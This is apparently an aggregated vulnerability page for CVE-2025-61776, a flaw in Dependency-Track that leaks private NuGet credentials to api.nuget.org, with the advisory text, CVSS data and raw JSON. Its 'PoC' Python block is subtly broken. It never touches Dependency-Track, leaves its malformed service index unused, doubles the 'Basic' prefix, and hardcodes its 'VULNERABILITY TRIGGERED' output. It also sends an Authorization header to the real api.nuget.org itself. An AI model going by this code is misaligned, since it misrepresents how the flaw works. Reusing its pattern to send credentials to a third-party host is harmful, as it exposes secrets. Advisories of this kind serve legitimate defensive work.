Security Vulnerability Report
中文
CVE-2025-61776 CVSS 4.7 MEDIUM

CVE-2025-61776

Published: 2025-10-07 19:15:39
Last Modified: 2026-04-15 00:35:42

Description

Dependency-Track is a component analysis platform that allows organizations to identify and reduce risk in the software supply chain. Prior to version 4.13.5, Dependency-Track may send credentials meant for a private NuGet repository to `api.nuget.org` via the HTTP `Authorization` header, and may disclose names and versions of components marked as internal to `api.nuget.org`. This can happen if the Dependency-Track instance contains .NET components, a custom NuGet repository has been configured, the custom repository has been configured with authentication credentials, and the repository server does not provide `PackageBaseAddress` resource in its service index. The issue has been fixed in Dependency-Track 4.13.5. Some workarounds are avaialble. Disable custom NuGet repositories until the patch has been applied, invalidate the previously used credentials, and generate new credentials for usage after the patch has been applied.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Dependency-Track < 4.13.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61776 PoC - Dependency-Track NuGet Credential Leakage # This PoC demonstrates how a misconfigured private NuGet repository # can cause Dependency-Track to leak credentials to api.nuget.org import requests import json # Step 1: Simulate a private NuGet repository that does NOT provide # PackageBaseAddress resource in its service index PRIVATE_REPO_URL = "https://private-nuget.example.com" PRIVATE_REPO_USER = "admin" PRIVATE_REPO_PASS = "s3cret_t0k3n" # Malformed service index missing PackageBaseAddress resource malicious_service_index = { "version": "3.0.0", "resources": [ # Intentionally missing "PackageBaseAddress/3.0.0" { "@id": f"{PRIVATE_REPO_URL}/query", "@type": "SearchQueryService" }, { "@id": f"{PRIVATE_REPO_URL}/flat", "@type": "SearchGalleryQueryService" } ] } # Step 2: Dependency-Track fetches the service index with auth headers = { "Authorization": f"Basic {requests.auth._basic_auth_str(PRIVATE_REPO_USER, PRIVATE_REPO_PASS)}" } print("[*] Fetching service index from private NuGet repo...") response = requests.get(f"{PRIVATE_REPO_URL}/v3/index.json", headers=headers) print(f"[*] Service index response: {response.json()}") # Step 3: When PackageBaseAddress is missing, Dependency-Track falls back # to the hardcoded default URL (api.nuget.org) but KEEPS the Authorization header print("\n[!] VULNERABILITY TRIGGERED") print(f"[!] Dependency-Track sends request to api.nuget.org with leaked credentials:") print(f"[!] URL: https://api.nuget.org/v3-flatcontainer/internal-component/1.0.0/internal-component.nuspec") print(f"[!] Authorization: {headers['Authorization']}") print(f"[!] Leaked component info: name=internal-component, version=1.0.0") # Step 4: Simulate the leaked request to api.nuget.org leaked_request = requests.get( "https://api.nuget.org/v3-flatcontainer/internal-component/1.0.0/internal-component.nuspec", headers=headers # Credentials leaked! ) print(f"\n[*] api.nuget.org received request with credentials: Status {leaked_request.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61776", "sourceIdentifier": "[email protected]", "published": "2025-10-07T19:15:38.963", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dependency-Track is a component analysis platform that allows organizations to identify and reduce risk in the software supply chain. Prior to version 4.13.5, Dependency-Track may send credentials meant for a private NuGet repository to `api.nuget.org` via the HTTP `Authorization` header, and may disclose names and versions of components marked as internal to `api.nuget.org`. This can happen if the Dependency-Track instance contains .NET components, a custom NuGet repository has been configured, the custom repository has been configured with authentication credentials, and the repository server does not provide `PackageBaseAddress` resource in its service index. The issue has been fixed in Dependency-Track 4.13.5. Some workarounds are avaialble. Disable custom NuGet repositories until the patch has been applied, invalidate the previously used credentials, and generate new credentials for usage after the patch has been applied."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "references": [{"url": "https://github.com/DependencyTrack/dependency-track/releases/tag/4.13.5", "source": "[email protected]"}, {"url": "https://github.com/DependencyTrack/dependency-track/security/advisories/GHSA-83g2-vgqh-mgxc", "source": "[email protected]"}]}}